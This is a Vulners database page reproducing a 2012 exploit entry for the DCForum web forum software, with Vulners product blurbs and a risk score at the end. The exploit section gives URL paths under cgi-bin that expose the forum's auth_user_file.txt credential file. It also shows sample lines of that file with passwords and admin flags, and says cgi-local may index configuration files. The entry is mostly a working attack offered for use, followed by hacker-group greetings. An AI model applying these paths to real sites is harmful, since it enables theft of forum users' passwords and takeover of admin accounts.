Vulners
Lucene search
DCForum Information Disclosure
`
# Exploit Title: DCForum Information Disclosure
# Date: 01/11/2012
# Author: r45c4l (@r45c4l)
# Email: [email protected]
# Script url: http://webscripts.softpedia.com/script/Discussion-Boards/DCForum-20872.html
# Version: N/A
# CVE : ()
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Product Description :
DCForum is a complete web conferencing software for building and managing an online discussion community.
=================Exploit=================================================
---ICW---
[ EXPL0!T ]
p0c - www.site.com/cgi-bin/User_info/auth_user_file.txt
www.site.com/cgi-bin/dcforum/User_info/auth_user_file.txt
Example of auth_user_file.txt:
password|admin|First_Name|Last_Name|[email protected]|on
password|admin|admin|First_Name|Last_Name|[email protected]|on
In some cases http://www.site.com/cgi-local will index all the setup and configuration files
===========================================================================
Greetz to : Beenu Arora, d3hydr8, Hardeep Singh, micr0, sam, Sai Satish
All members of ICW, AH and G4H, and all Indian Hackers
Special Greetz to : b4ltazar and s1nn3r and the entire darkc0de.com guys
=== End () ====
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Nov 2012 00:00Current
7.4High risk
Vulners AI Score7.4